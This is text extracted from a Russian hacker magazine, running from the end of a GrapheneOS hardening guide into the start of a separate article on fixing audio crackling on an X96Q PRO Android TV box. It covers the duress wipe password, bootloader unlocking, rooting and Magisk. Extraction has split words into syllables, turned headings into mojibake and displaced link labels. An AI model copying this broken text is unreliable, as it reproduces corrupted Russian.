ную. Уста нов ка поряд ка 30 при ложе ний при перехо де на GrapheneOS прев -
ратилась в пыт ку, потому что всплы вающие одно поверх дру гого под твержде -
ния уста нов ки мешали друг дру гу и про цесс час то пре рывал ся, так что пос -
тавил все нуж ное я раза с пятого.

Зап рос при уста нов ке при ложе ния

Îòêëþ÷åíèå äîñòóïà â ñåòü
Я уже упо минал раз решение на дос туп в интернет. Так вот, это не прос то
фай рвол, который может резать соеди нения отдель ных при ложе ний, а пол -
ноцен но реали зован ный механизм спу фин га важ ных API для работы с сетью.
Нап ример, вмес то прос того отка за в дос тупе при попыт ке поль зовать ся
интерне том при ложе ние получит ошиб ку, говоря щую об отсутс твии сетево го
соеди нения, а API про вер ки дос тупа к интерне ту будет говорить, что устрой -
ство вооб ще ни к какой сети не под клю чено.

С точ ки зре ния поль зовате ля это выг лядит как новый перек лючатель, поз -
воля ющий отоз вать стан дар тное раз решение INTERNET, которое все при -
ложе ния име ют по умол чанию и которое в нор ме отоз вать нель зя. Для пол ной
защиты эта фун кция так же зап реща ет локаль ные ком муника ции внут ри
устрой ства (через loopback-интерфейс), что бы избе жать утеч ки дан ных меж ду
про филя ми.

Раз решение на дос туп в сеть мож но заб рать у чего угод но — даже
Google Play

Отоб рать дос туп в сеть мож но даже у гуг лосер висов, вот толь ко зачем
это делать, тол ком не ясно: перес тают работать обновле ния и дру гие важ ные
фичи. Некото рые при ложе ния тоже отка зыва ются работать, если у гуг лосер -
висов нет дос тупа в сеть. Но обыч но в таких слу чаях мож но выдать дос туп,
запус тить при ложе ние пер вый раз, а потом отоз вать дос туп. Пос ле это го все
будет работать нор маль но.

Àâàðèéíûé ïàðîëü
Как извес тно, пси холо гичес кая защита поль зовате ля устрой ства обыч но
на поряд ки менее стой кая, чем тех ничес кая защита самого устрой ства. Нель -
зя ли иметь такой пароль, который мож но при необ ходимос ти выдать кому-то,
но при этом быть уве рен ным, что до дан ных этот кто-то не доберет ся? Такая
фун кция в GrapheneOS тоже есть: дос таточ но нас тро ить запас ной пароль, и,
как толь ко он будет вве ден в любом мес те в сис теме (не толь ко на экра не
бло киров ки, но и в любом мес те, где ОС зап рашива ет пароль), все дан ные,
вклю чая даже уста нов ленные eSIM, будут незамед литель но унич тожены.
Оста новить или отме нить это никак нель зя.

Нас трой ка ава рий ного пароля

Продолжение статьи →

mailto:brutsky@glc.ru
https://xakep.ru/?p=227595
https://grapheneos.org/
https://www.google.com/maps/timeline
https://www.google.com/maps/timeline
https://contacts.google.com/
https://thehackernews.com/2025/02/google-confirms-android-safetycore.html
https://thehackernews.com/2025/02/google-confirms-android-safetycore.html
https://grapheneos.org/usage#sandboxed-google-play-configuration
https://grapheneos.org/usage#sandboxed-google-play-configuration


СТАВИМ
GRAPHENEOS — ЗАЩИЩЕННЫЙ

И ПРИВАТНЫЙ ANDROID

COVERSTORY  НАЧАЛО СТАТЬИ

Нас тро ить такой пароль мож но там же, где нас тра ивает ся нор маль ная раз -
бло киров ка экра на, по пути Settings  Security & privacy  Device unlock 
Duress Password. Фун кция дос тупна толь ко под про филем вла дель ца устрой -
ства.

В некото рых слу чаях подоб ное дей ствие может
быть при рав нено к унич тожению улик, что само
по себе явля ется уго лов ным прес тупле нием сог -
ласно  УК РФ. Так что перед исполь -
зовани ем хорошень ко взвесь все за и про тив.

статье 303

И еще один важ ный момент. Нор маль ный пароль раз бло киров ки устрой ства
име ет более высокий при ори тет, если по какой-то при чине пароль само унич -
тожения и нор маль ный сов падут. То есть, если ты уста новишь ава рий ный
пароль иден тичным обыч ному, при нор маль ной раз бло киров ке дан ные
не будут унич тожены.

Àâòîìàòè÷åñêàÿ ïåðåçàãðóçêà
Фун кция авто мати чес кой перезаг рузки нуж на для умень шения повер хнос ти
ата ки и приз вана бороть ся с неиз вес тны ми экс пло ита ми, которые могут при -
менять ся для извле чения дан ных с заб локиро ван ных устрой ств. Обыч но такие
ата ки пыта ются извлечь из опе ратив ной памяти клю чи шиф рования, которые
затем исполь зуют ся для рас шифров ки фай ловой сис темы офлайн, либо
внед ряют бэк дор, который исполь зует ся для сли ва дан ных с работа юще го
заб локиро ван ного устрой ства.

Все виды таких атак полага ются на то, что на устрой стве уже закеши рован
ключ шиф рования, которым мож но вос поль зовать ся и получить дан ные
без вво да пароля. Сам же ключ попада ет в память при пер вой успешной раз -
бло киров ке (сос тояние AFU — after rst unlock), то есть если аппа рат перезаг -
рузить, то клю ча в его опе ратив ке не будет, пока легитим ный поль зователь
не вве дет свой пароль (сос тояние BFU — before rst unlock).

Ав томати чес кая перезаг рузка поз воля ет унич тожить ключ шиф рования,
даже если вла делец не име ет физичес кого дос тупа к сво ему устрой ству. Эта
фун кция впер вые  на iPhone в релизе iOS 18.1 и показа ла реаль ную
эффектив ность в про тиво дей ствии взло му. Спус тя пол года ее  и в
Android, но в GrapheneOS она была нам ного рань ше, плюс есть воз можность
нас трой ки вре мени (от 10 мин до 72 ч).

по яви лась
до бави ли

Нас трой ка авто мати чес кой перезаг рузки

Óëó÷øåííûå äîïîëíèòåëüíûå ïðîôèëè
Ма ло кто поль зует ся аль тер натив ными про филя ми в Android: перек лючать ся
меж ду ними не очень удоб но, а необ ходимость доволь но сом нитель на.
В GrapheneOS эти про фили дорабо тали, и теперь ими мож но поль зовать ся
с ком фортом — фак тичес ки они прев ратились в пол ноцен ные изо лиро ван ные
кон тей неры, которые ста ло воз можно исполь зовать в слу чаях, ког да при ложе -
ние нуж но отго родить от содер жимого телефо на. Важ ных улуч шений нес коль -
ко:

про филей теперь дос тупно боль ше: 32 вмес то обыч ных четырех;•
уве дом ления мож но фор вардить из допол нитель ных про филей в основной
(что бы, нап ример, нор маль но при ходи ли сооб щения);

•

мож но перено сить при ложе ния из основно го про филя в допол нитель ный
без пов торно го ска чива ния;

•

дос тупен зап рет на уста нов ку при ложе ний в допол нитель ных про филях;•
мож но заморо зить про филь вмес те со все ми при ложе ниями в нем.•

Са мые важ ные здесь пер вые два, которые наконец дела ют воз можным пов -
седнев ное поль зование кон тей нерами, потому что лимит на их количес тво
боль ше не ощу щает ся, а оставлен ный в фоне кон тей нер не нуж но пос тоян но
про верять на слу чай, если что-то приш ло в мес сен джер. Уве дом ления теперь
при ходят пря мо в твой основной про филь.

Çàùèòà îò íåèçâåñòíûõ ýêñïëîèòîâ
В GrapheneOS сде лан боль шой упор на умень шение повер хнос ти ата ки. Все,
что не нуж но пос тоян но, отклю чено по умол чанию, в том чис ле Bluetooth, NFC,
UWB (свер хши роко полос ная связь), для защиты от 0-day-экс пло итов.
При отклю чении экра на вык люча ется USB-порт и дос туп к камере, а еще мож -
но нас тро ить тай мер отклю чения Wi-Fi и Bluetooth. Логика прос та: ата ковать
отклю чен ный интерфейс нель зя, а зна чит, он и дол жен быть отклю чен, если
не исполь зует ся.

Са мый рис кован ный с точ ки зре ния безопас ности интерфейс — это,
конеч но же, порт USB. Осо бен но это каса ется USB-C, который под держи вает

 и дру гие неоче вид ные воз можнос ти. Для него в GrapheneOS дос -
тупно пять вари антов:
от ладку

вклю чен без огра ниче ний;•
толь ко заряд ка при заб локиро ван ном экра не, пол ная фун кци ональ ность
при раз бло киро ван ном;

•

толь ко заряд ка при заб локиро ван ном экра не (пос ле пер вой раз бло киров -
ки), пол ная фун кци ональ ность при раз бло киро ван ном;

•

толь ко заряд ка всег да;•
пол ностью отклю чен.•

По умол чанию выб ран вто рой вари ант (при заб локиро ван ном экра не дос -
тупна толь ко заряд ка, без воз можнос ти переда чи дан ных). При бло киров ке
экра на линии дан ных отклю чают ся физичес ки — под дер жка такого отклю -
чения обя затель на на всех устрой ствах с GrapheneOS. Кро ме это го, ядро
нас тра ивает ся на откло нение любых попыток соеди нения по USB или через
тес тпой нты на пла те.

Есть и дру гие незамет ные гла зу улуч шения. Нап ример, реали зация 
изме нена, что бы усложнить пов режде ние кучи, стан дар тная биб лиоте ка 

укрепле на для защиты от боль шинс тва спо собов пов режде ния памяти, ядро
укрепле но по пос ледне му сло ву безопас ности, JIT-ком пиляция пол ностью
отклю чена (вмес то нее при нуди тель но исполь зует ся AOT-ком пиляция),
песоч ницы обве шаны допол нитель ными полити ками SELinux, а вер сия ядра
пос тоян но обновля ется.

malloc
libc

Все это дела ет экс плу ата цию даже ранее неиз вес тных уяз вимос тей чрез -
вычай но слож ной, и такие экс пло иты дол жны быть изна чаль но раз работан -
ными для GrapheneOS. Разуме ется, такие меры не дают гаран тий пол ной
защиты, но зна читель но улуч шают ситу ацию с ней.

Áëîêèðîâêà çàãðóç÷èêà
GrapheneOS — одна из нем ногих кас томных опе раци онных сис тем, которые
под держи вают бло киров ку заг рузчи ка. Напом ню, что для защиты от под мены
про шив ки все сов ремен ные телефо ны пос тавля ются с заб локиро ван ным заг -
рузчи ком, то есть ядро сис темы под писыва ется, а при заг рузке под пись про -
веря ется и при нима ется решение о раз решении заг рузки. Если целос тность
сис темы наруше на, заг рузчик выдаст ошиб ку и не поз волит запус тить Android.

Это решение в свое вре мя пол ностью уби ло рутинг через спе циаль ные
при ложе ния, потому что хоть спо собы получе ния прав root в работа ющей сис -
теме оста лись, но сох ранить их меж ду перезаг рузка ми ста ло невоз можно.
Эта же защита меша ет уста нав ливать кас томные про шив ки, ядра и рекаве ри,
ведь они не под писаны раз работ чиком устрой ства и из-за это го не запус -
тятся.

Для уста нов ки сто рон них про шивок заг рузчик необ ходимо раз бло киро -
вать. Раз бло киров ка озна чает, что заг рузчик перес танет про верять под пись
заг ружа емо го ядра и мож но будет уста новить любую сис тему и сох ранить
воз можность заг рузки.

Сам про цесс раз нится от устрой ства к устрой ству иног да и в рам ках одной
модель ной линей ки, а у раз ных про изво дите лей раз лича ются даже под ходы
к про цес су, так что инс трук цию по раз бло киров ке кон крет но тво его аппа рата
нуж но будет искать в сети.

Для устрой ств Google Pixel про цесс очень прос той: нуж но раз решить раз -
бло киров ку заг рузчи ка в нас трой ках для раз работ чиков в самой сис теме,
затем перезаг рузить ся в режим , пос ле чего выпол нить с компь юте -
ра коман ду . Устрой ство унич тожит все дан ные

и поз волит про шивать что угод но.

fastboot
fastboot flashing unlock

Раз бло киров ку заг рузчи ка обыч но исполь зуют
для рутова ния, а не перехо да на более защищен -
ную ОС и бло киров ки обратно. Как исполь зовать
root-дос туп в наше вре мя — читай в статье «

».

Ан -
дро иды с root! Зачем рутовать Android
в 2025 году

Пос ле про шив ки жела емой сис темы хотелось бы заб локиро вать заг рузчик
обратно, что бы вер нуть в строй защит ные механиз мы, но боль шинс тво сис -
тем несов мести мы с доверен ной заг рузкой и пос ле бло киров ки заг рузчи ка
прев ратят устрой ство в труд но вос ста нови мый кир пич.

GrapheneOS в пол ной мере под держи вает пов торную бло киров ку, что
выгод но отли чает ее на фоне осталь ных аль тер натив ных ОС. Более того, бло -
киров ка заг рузчи ка с GrapheneOS — это не прос то дос тупная опция, а нас -
тоятель ная рекомен дация, потому что никакие защит ные механиз мы сис темы
не помогут при под мене самой сис темы, что при раз бло киро ван ном заг -
рузчи ке  доволь но нес ложно.де лает ся

Не пытай ся бло киро вать заг рузчик пос ле уста нов -
ки обыч ных аль тер натив ных про шивок, это опас -
но! Для бло киров ки заг рузчи ка уста нов ленная
про шив ка дол жна спе циаль но под держи вать
безопас ную заг рузку, и из извес тных аль тер -
натив ных про шивок это толь ко GrapheneOS
и CalyxOS.

ÓÑÒÀÍÎÂÊÀ

Раз уж речь заш ла о раз бло киров ке заг рузчи ка, рас ска жу сра зу, как уста нав -
лива ется GrapheneOS.

Дос тупны два метода уста нов ки: через коман дную стро ку и через
веб-уста нов щик. Рас смат ривать уста нов ку из кон соли мы сегод ня не будем,
да и нуж ды нет, ведь веб-уста нов щик работа ет ничуть не хуже. Единс твен ный
нюанс: нужен бра узер с под дер жкой Web Serial API, нап ример Chrome, Opera,
Edge или Brave. Вни мание: Firefox не под держи вает ся!

Для работы веб-уста нов щика нуж но зай ти на 
на сай те про екта, раз решить в нас трой ках телефо на раз бло киров ку заг рузчи -
ка, пос ле чего сле довать инс трук ции. Основные шаги сле дующие:

спе циаль ную стра ницу

раз лочить заг рузчик;•
ска чать обра зы про шив ки под твой аппа рат;•
про шить их в телефон;•
заб локиро вать заг рузчик обратно.•

Для всех шагов есть под робные инс трук ции и кноп ки, которые авто мати чес ки
рас позна ют всю нуж ную информа цию для кор рек тной про шив ки.

Кноп ки в веб-уста нов щике

Пос ле про хож дения всех шагов про шив ки и бло киров ки заг рузчи ка нуж но
про верить целос тность уста нов ки, ведь если сис тема с самого начала будет
ском про мети рова на, смыс ла во всей защите не будет. Для это го нуж но про -
верить хеш пуб лично го клю ча, которым под писана про шив ка.

Вы водит ся эта информа ция в пре дуп режде нии при заг рузке, которое воз -
ника ет вся кий раз, ког да заг рузчик заб локиро ван, а под пись не соот ветс тву ет
под писи про изво дите ля.

При этом выводит ся и хеш пуб лично го клю ча под писи — он дол жен сов -
падать с ука зан ным на сай те GrapheneOS. Если хеш сов пал — поз драв ляю,
твой смар тфон стал еще на шаг бли же к при ват ности!

GRAPHENEOS AUDITOR

Про вер ки безопас ности желатель но про водить регуляр но. Для это го сущес -
тву ет при ложе ние Auditor: оно генери рует аппа рат но хра нимый ключ, который
изме нит ся, если целос тность устрой ства будет наруше на. Пос коль ку при ком -
про мета ции устрой ства резуль татам про вер ки, которые показы вает само
ском про мети рован ное устрой ство, доверять нель зя, исполь зует ся модель
с внеш ним устрой ством для верифи кации. Это может быть вто рой смар тфон
или облачный сер вис, при этом вто рой смар тфон может работать на любой
сис теме, не обя затель но GrapheneOS.

Связь со вто рым смар тфо ном у меня нас тро ить не получи лось: камера
дешево го ста рич ка Xiaomi прос то не смог ла без иска жений про читать мел кие
детали QR-кода, который нужен был для про хож дения пер вого соп ряжения.
Так что я нас тро ил облачную про вер ку и сей час покажу, как это дела ется.

Пер вым делом нуж но ска чать при ложе ние Auditor из встро енно го магази на
при ложе ний или  (не рекомен дует ся), а еще соз дать учет ку на сай те

. Он и будет играть роль внеш него незави симо го валида тора,
который под нимет тре вогу, если телефон не прой дет аттеста цию вов ремя.

с GitHub
attestation.app

Даль ше нуж но нас тро ить регуляр ную отправ ку отпе чат ков на сер вер. Для это -
го в при ложе нии выбери пункт Enable remote verication и отска нируй QR-код
с сай та. Отны не твой телефон сам будет отправ лять отпе чат ки на сер вер,
а там ты уже можешь нас тро ить регуляр ность и ава рий ную поч ту, куда будут
при ходить уве дом ления.

Уве дом ление о том, что устрой ство не отпра вило отпе чат ки вов ремя

Уве дом ления при ходят исправ но. Я нес коль ко раз был офлайн по нес коль ко
дней и, вер нувшись, обна ружи вал в поч те уве дом ления, что отпе чат ки дав но
не при сыла лись. Пов редить целос тность про шив ки и про верить, как бы выг -
лядели уве дом ления в таком слу чае, я не смог, но сом нений в том, что уве -
дом ления при ходят, не воз ника ет.

ÎÏÛÒ ÈÑÏÎËÜÇÎÂÀÍÈß

В целом мой опыт исполь зования GrapheneOS очень положи тель ный. Ког да я
перехо дил на новую ОС, думал, что с плав ной работой при дет ся поп рощать -
ся, но ока залось, что ни с про изво дитель ностью, ни с удобс твом никаких
проб лем нет и это хорошая про шив ка на каж дый день. Все основные фун кции
работа ют как надо, а к некото рым шерохо ватос тям луч ше при вык нуть, что бы
зна читель но сни зить рис ки безопас ности.

Важ ный момент для любого аппа рата Pixel — это камера. На GrapheneOS
отлично работа ет офи циаль ная камера Google, так что основной сце нарий
пов седнев ного исполь зования телефо на не пос тра дал. Дос тавка уве дом -
лений в мес сен дже рах тоже работа ет как надо, то есть основные проб лемы
кас томных про шивок решены.

А вот Android Auto оста вил не самые при ятные впе чат ления: на нас трой ку
ушло неп рилич но мно го уси лий. Впро чем, дела ется это все го один раз
и забыва ется до сле дующей замены телефо на. Не пов торяй мою ошиб ку,
читай инс трук цию заранее, сэконо мишь вре мя!

Под дер жка Nearby Share (быс трый обмен фай лами и дру гой информа цией
с устрой ства ми поб лизос ти) в про шив ку не встро ена, но появ ляет ся при уста -
нов ке сер висов Google. Исполь зовать эту фичу в таком виде понача лу было
неп ривыч но, но по фун кци ональ нос ти отли чий нет.

Глав ный же для меня недос таток перехо да на GrapheneOS — отсутс твие
воз можнос ти рутова ния, которое необ ходимо для кор рек тной работы ядер -
ного WireGuard, спу фин га Google Photos и обхо да про верок Google Play
Integrity (без это го не работа ет бес контак тная опла та).

Впро чем, у некото рых бан ков ских при ложе ний есть внут ренняя реали -
зация бес контак тной опла ты, которая тре бует толь ко базовой целос тнос ти,
а ее GrapheneOS пре дос тавля ет. Кли ент моего бан ка тоже работа ет, так что я
перешел от кар точки в Google Pay к пла тежам самим бан ков ским при ложе -
нием. К тому же рутова ние на кор ню рубит боль шинс тво защит ных механиз -
мов ОС, так что эта пре тен зия выг лядит ско рее при дир кой.

Ока зыва ется, воп росом рутин га GrapheneOS
зада ется дос таточ но мно го поль зовате лей и даже
сущес тву ет  для это го. Тем
не менее я нас тоятель но рекомен дую задумать ся,
так ли тебе необ ходим рут, который сде лает бес -
смыс ленны ми боль шинс тво защит ных механиз -
мов GrapheneOS. А если нужен, то есть более
ком фор тные сис темы с его под дер жкой.

об щедос тупный патч

ÇÀÊËÞ×ÅÍÈÅ

В общем и целом реаль ных проб лем при исполь зовании GrapheneOS я
не встре тил. Есть осо бен ности, к которым нуж но при вык нуть, но в осталь ном
«Гра фен» выг лядит и ощу щает ся как любая дру гая про шив ка, толь ко защище -
на со всех сто рон.

За кад ром оста лись некото рые уни каль ные нас трой ки сис темы, встро -
енный укреплен ный бра узер Vanadium, улуч шенная защита от уте чек и дру гие
фичи, которы ми мне пока не довелось пополь зовать ся дос таточ но мно го,
что бы о них рас ска зывать.

Мо гу ли я рекомен довать GrapheneOS для пов седнев ного поль зования?
Однознач но да! Заметишь ли ты переход? Ско рее все го, тоже да,
но ненадол го: раз работ чики про дела ли серь езную работу, что бы сде лать
«Гра фен» при ятным в исполь зовании, и им уда лось.

Ду маю, со вре менем необ ходимость защищать свою при ват ность сво ими
силами будет понимать все боль шее количес тво людей, и GrapheneOS впол -
не может стать популяр ной нарав не с AOSP и LineageOS. Я уже начал приб -
лижать этот момент и приг лашаю при соеди нить ся и тебя.

https://www.consultant.ru/document/cons_doc_LAW_10699/9e171b20b3d8e246b510b69223e8ff108b73966e/
https://xakep.ru/2024/11/13/ios-reboots/
https://xakep.ru/2025/04/16/android-auto-reboot/
https://www.linaro.org/blog/hidden-jtag-qualcomm-snapdragon-usb/
https://xakep.ru/2025/07/02/android-root-2025/
https://xakep.ru/2025/07/02/android-root-2025/
https://xakep.ru/2025/07/02/android-root-2025/
https://habr.com/ru/articles/541190/
https://grapheneos.org/install/web
https://github.com/GrapheneOS/Auditor/releases
https://attestation.app/
https://github.com/schnatterer/rooted-graphene
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Се год ня нас с тобой ждет нас тоящая
экспе диция вглубь Android. Нашей сиюми -
нут ной целью будет устра нить баг вос про -
изве дения зву ка на телеп ристав ке X96Q
PRO. На пути к этой цели мы под робно изу -
чим все час ти зву ковой сис темы и научим ся
вно сить изме нения в низ коуров невые нас -
трой ки, недос тупные из гра фичес кого
интерфей са.

Android в нашей подопыт ной прис тавке точ но такой же, как в телефо нах
и авто маг нитолах. Все прин ципи аль ные све дения, кро ме кон крет ных схем
и кон крет ного кода биб лиоте ки HAL, акту аль ны для всех устрой ств на Android
10 и, с боль шой долей веро ятности, от Android 7 до Android 13 вклю читель но.
Начиная с вер сии 14 в Android ста ли исполь зовать язык опи сания интерфей са
AIDL вмес то HIDL, но это каса ется в боль шей сте пени низ коуров невых раз -
работ чиков.

Â ÊÀÊÎÌ ÓÕÅ Ó ÌÅÍß ÆÓÆÆÈÒ?

Эта исто рия началась с замены телеви зион ной прис тавки. У меня был ста -
рень кий девайс с одним гигабай том памяти — на сме ну ему я выб рал модель

 в вари анте с дву мя гигабай тами опе ратив ки. Ее опе раци онная
сис тема Android 10 не зах ламле на, в ней раз бло киро вана воз можность
получе ния прав супер поль зовате ля. Кажет ся, то, что надо.

X96Q PRO

За полу чив прис тавку, я ее под клю чил, нас тро ил и пос тавил на нее при выч -
ный набор при ложе ний. На пер вый взгляд все было прек расно: видео вос -
про изво дилось, музыка зву чала, игры игра лись.

Но уже на вто рой день я почувс тво вал нелад ное. Какой бы меди акон тент
ни играл, в зву ковом соп ровож дении пос тоян но прос какива ли то ли пощел -
кивания, то ли пот рески вания, как буд то во вре мя прос мотра ана лого вого
телеви дения рядом про ходит гро зовой фронт.

В художес твен ных филь мах или новос тных прог раммах это поч ти незамет -
но, но в отдель ных музыкаль ных ком позици ях звук иска жал ся до невоз -
можнос ти. Я не ауди офил, и меня не испу гать записью кон церта
в MP3 со ско ростью потока 128 Кбит/с. Но щел чки все же ста ли дей ство вать
на нер вы. Я понял, что если это не испра вить, то ско ро нач нет дер гать ся глаз.

Ес ли у тебя есть устрой ство с Android, ты можешь пря мо сей час про -
верить, при сущ ли ему опи сыва емый дефект. Для это го вос про изве ди файл

 с записью гуд ка евро пей ской телефон ной
стан ции (это синусо ида с час тотой 425 Гц). На качес твен ном устрой стве тон
дол жен быть чис тым, мяг ким и ров ным. Если же звук пла вает, в нем слыш ны
пос торон ние шумы или пот рески вания, то сочувс твую: твое устрой ство под -
верже но проб леме, которую мы будем решать в этой статье.

1TR110-1_Kap8.1_Waehlton.ogg

Воз можно, тебя минова ла эта неп рият ность, но тебе инте рес но устрой -
ство ауди опод систе мы Android 10 и спо соб изме нения час тоты дис кре тиза -
ции выводи мого прис тавкой ауди опо тока. Об этом я тоже пос тара юсь рас -
ска зать.

ÌÅÒÎÄÈÊÀ È ÈÍÑÒÐÓÌÅÍÒÛ ÈÑÑËÅÄÎÂÀÍÈß

Сна чала, как любой нор маль ный человек, я попытал ся нас тро ить звук через
интерфейс Android, но выбор там невелик: все го-то и мож но, что вклю чить
или вык лючить ,  и режим проб роса зву ка

passthrough. Вне зависи мос ти от уста нов ленных флаж ков, дефек ты зву ка про -
дол жали свое дес трук тивное воз дей ствие на пси хику.

AUDIO_CODEC AUDIO_HDMI

Я переб рал нес коль ко меди апро игры вате лей, но это тоже не дало резуль -
тата. Вот и все, обыч ный поль зователь потер пел пораже ние в этой схват ке
с Android. Поэто му на сце ну приш лось вый ти инже неру. Инже нер ный под ход
к решению проб лем под разуме вает сбор и изу чение дос тупной информа ции
об объ екте, его диаг ности ку для выяс нения при чин проб лемы, выбор
решения и исправ ление ситу ации. Что ж, прис тупим!

План иссле дова ния зву ковой под систе мы Android сле дующий:
1. Ана лиз сис темно го жур нала Android, который мож но получить с помощью

коман ды .logcat
2. Изу чение сос тояний служб Android, све дения о которых мож но получить

с помощью коман ды .dumpsys
3. Изу чение сос тояния под систе мы ALSA по содер жимому катало га 

 и с помощью ути литы tinymix.
/proc/

asound
4. Ана лиз динами чес кой биб лиоте ки слоя абс трак ции Audio HAL в сре де

Ubuntu с помощью дизас сем бле ра objdump.
5. Ана лиз исходных тек стов опе раци онной сис темы Android.

Ока залось, что, вно ся изме нения в кон фигура цион ные фай лы Android-устрой -
ства, уди витель но лег ко при вес ти его в нерабо тос пособ ное сос тояние, или,
как говорят, «окир пичить». Нап ример, если в теге  фай ла

 сло во Out написать с малень кой бук вы,
заг рузка телеви зион ной прис тавки будет оста нав ливать ся на эта пе демонс -
тра ции ани миро ван ной зас тавки.

HDMI Out
audio_policy_configuration.xml

В боль шинс тве слу чаев вос ста нов ление работос пособ ности воз можно,
но для это го пот ребу ются спе циаль ные зна ния и софт. С пос ледним слож нее
все го. На  прис тавки X96Q PRO есть четыре вари анта rmware,
но толь ко один под ходит к моему экзем пля ру. Попыт ка «про шить» дру гие при -
водит к тому, что устрой ство перес тает опоз навать ся даже сер висным ПО.

стра нич ке

По это му трез во оце ни свои силы перед тем, как что-то сде лать на реаль -
ном обо рудо вании. Как минимум заранее озна комь ся с опы том неудач ников
на темати чес ких форумах. Но все рав но будь готов к тому, что устрой ство
может быть без надеж но испорче но.

Ко ман ды мож но выпол нять непос редс твен но в кон соли устрой ства из при -
ложе ния-тер минала, нап ример . Но я исполь зовал
воз можнос ти уда лен ной отладки устрой ств с Android, для чего уста новил
на свой компь ютер пакет  с ути литой коман дной стро ки adb.

Terminal Emulator for Android

SDK Platform Tools
Для замены кон фигов и уста нов ки ути литы tinymix я исполь зовал 

, которое дает пра ва супер поль зовате ля и поз воля ет офор млять
модифи кации в виде под клю чаемых модулей.

при ложе -
ние Magisk

Хоть прис тавка и была изна чаль но рутова на, в исполь зовании Magisk наш -
лось неос поримое пре иму щес тво. Если с новым вари антом кон фига прис -
тавка не заг ружа ется, дос таточ но дваж ды перезаг рузить ее, перепод клю чая
блок питания. Magisk под счи тыва ет количес тво неудач ных вклю чений и на
тре тий раз отклю чает все уста нов ленные модули, что поз воля ет прис тавке
заг рузить ся в завод ском исполне нии.

Иног да Magisk при водит к инте рес ным побоч ным
эффектам. Я заметил, что при активном модуле
с исправ лени ями пос ле перезаг рузки вос ста нав -
лива ется рас положе ние пли ток на рабочем сто ле
ATV Launcher. Что бы перемес тить плит ки «нав -
сегда», надо сна чала отклю чить модуль, потом
выпол нить переме щения, пос ле чего сно ва его
вклю чить. Такая защита от слу чай ного наруше ния
при выч ной рас клад ки интерфей са мне показа -
лась очень удоб ной.

Что бы луч ше понимать работу зву ковой под систе мы прис тавки, надо вспом -
нить, что собой пред став ляют зву ковые дан ные. Как ты зна ешь из школь ного
кур са физики, человек слы шит звук из-за изме нения дав ления воз духа
на рас положен ную в ухе барабан ную перепон ку с час тотой 20–20 000 Гц.
Этот про цесс, как и все осталь ные физичес кие про цес сы в мак ромире, бла -
года ря явле нию инер ции явля ется плав ным и неп рерыв ным.

Для исполь зования в компь ютер ной тех нике ана лого вая физичес кая
величи на — в дан ном слу чае дав ление воз духа — пред став ляет ся конеч ной
пос ледова тель ностью чисел из огра ничен ного набора с помощью двух под -
ходов: дис кре тиза ции по вре мени и кван тования по уров ню.

Оциф ровка зву ка про исхо дит путем дис кре тиза ции по вре мени и кван -
тования по уров ню

Суть дис кре тиза ции сос тоит в записи зна чений физичес кой величи ны не неп -
рерыв но, а толь ко в опре делен ные момен ты вре мени, сле дующие с опре -
делен ной час тотой. Выбор час тоты дис кре тиза ции опре деля ется теоре мой
отсче тов (Котель никова — Най квис та — Шен нона), которая гла сит, что
исходный сиг нал, мак сималь ная час тота ком понен тов которо го не пре выша ет
F, мож но пол ностью вос ста новить по изме рен ным отсче там, сле дующим
с час тотой не мень ше 2F. Таким обра зом, по отсче там с час тотой дис кре тиза -
ции 44 100 Гц мож но вос ста новить сиг нал, час тота ком понен тов которо го
не пре выша ет 22 050 Гц, что перек рыва ет ука зан ный выше диапа зон зву ков,
слы шимых челове ком.

Впро чем, точ ное вос ста нов ление сиг нала воз можно лишь в том слу чае,
если изме рен ные зна чения записа ны без оши бок. Одна ко ана лого-циф ровые
пре обра зова тели (АЦП) отоб ража ют изме рен ную дат чиком физичес кую
величи ну на конеч ную раз рядную сет ку машин ного пред став ления чис ла,
выпол няя кван тование зна чения по уров ню. Это неиз бежно ведет к ошиб кам
(пог решнос тям) записи изме рен ных зна чений. Нап ример, 16-раз рядные АЦП

неп рерыв ный интервал изме нения физичес кой величи ны отоб ража ют на 2
= 65 536 уров ней, которые могут быть про нуме рова ны целыми чис лами
из диапа зона –32 768... +32 767.
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Опи сан ный спо соб записи ана лого вого сиг нала в циф ровой фор ме
называ ется импуль сно-кодовой модуля цией PCM (Pulse-Code Modulation).
Для уве личе ния ком пак тнос ти записей исполь зуют ся раз ные методы их сжа -
тия: с потеря ми (AAC, MP3, OGG) или без потерь (FLAC, WMA Losseless).
Но перед вос про изве дени ем дан ные все рав но пот ребу ется рас паковать
в импуль сно-кодовую фор му, которая при год на для непос редс твен ного пре -
обра зова ния в физичес кую величи ну — звук.

ÇÂÓÊÎÂÀß ÏÎÄÑÈÑÒÅÌÀ ÏÐÈÑÒÀÂÊÈ

В Android зап росы на работу со зву ком обслу жива ет служ ба Audio Flinger сер -
вера зву ка, которая через слой абс трак ции от аппа рату ры HAL (Hardware
Abstraction Layer) управля ет зву ковой под систе мой ALSA (Advanced Linux
Sound System) уров ня ядра.

При ложе ния для вос про изве дения зву ка в Android исполь зуют объ ект
клас са , с помощью которо го дан ные в кодиров ке
PCM из прог рам мно го буфера нап равля ются в устрой ство вос про изве дения.
Служ ба Audio Flinger тес но вза имо дей ству ет со служ бой Audio Policy, которая
на осно ве кон фига  опре деля ет, какие

устрой ства и в каком режиме дол жны исполь зовать ся для вос про изве дения
зву ка.

android.media.AudioTrack

audio_policy_configuration.xml

Ус трой ство зву ковой под систе мы Android

Слой аппа рат ной абс трак ции (HAL) сопос тавля ет стан дар тные вир туаль ные
устрой ства Android — такие как  (встро енный

динамик),  (про вод ные науш ники)
и  (циф ровой ауди овы ход) — с кон крет ным

физичес ким обо рудо вани ем. Это обо рудо вание опре деля ется и нас тра -
ивает ся на уров не ядра Linux через опи сание в дереве устрой ств (Device
Tree).

AUDIO_DEVICE_OUT_SPEAKER
AUDIO_DEVICE_OUT_WIRED_HEADPHONE

AUDIO_DEVICE_OUT_AUX_DIGITAL

Раз работ чики HAL перечис ляют устрой ства, которые могут исполь зовать -
ся ауди осер вером, в сек ции  фай ла

, нап ример:

<devicePorts>
audio_policy_configuration.xml

<devicePorts>
       <devicePort tagName="Speaker" type="AUDIO_DEVICE_OUT_SPEAKER"
role="sink"></devicePort>
      

 
<devicePort tagName="HDMI Out" type=

"AUDIO_DEVICE_OUT_AUX_DIGITAL" role="sink"></devicePort>
</devicePorts>

В при веден ном при мере вир туаль ному устрой ству
, которое игра ет роль при емни ка зву ка sink (в

про тиво полож ность источни кам зву ка — source), наз нача ется имя Speaker.
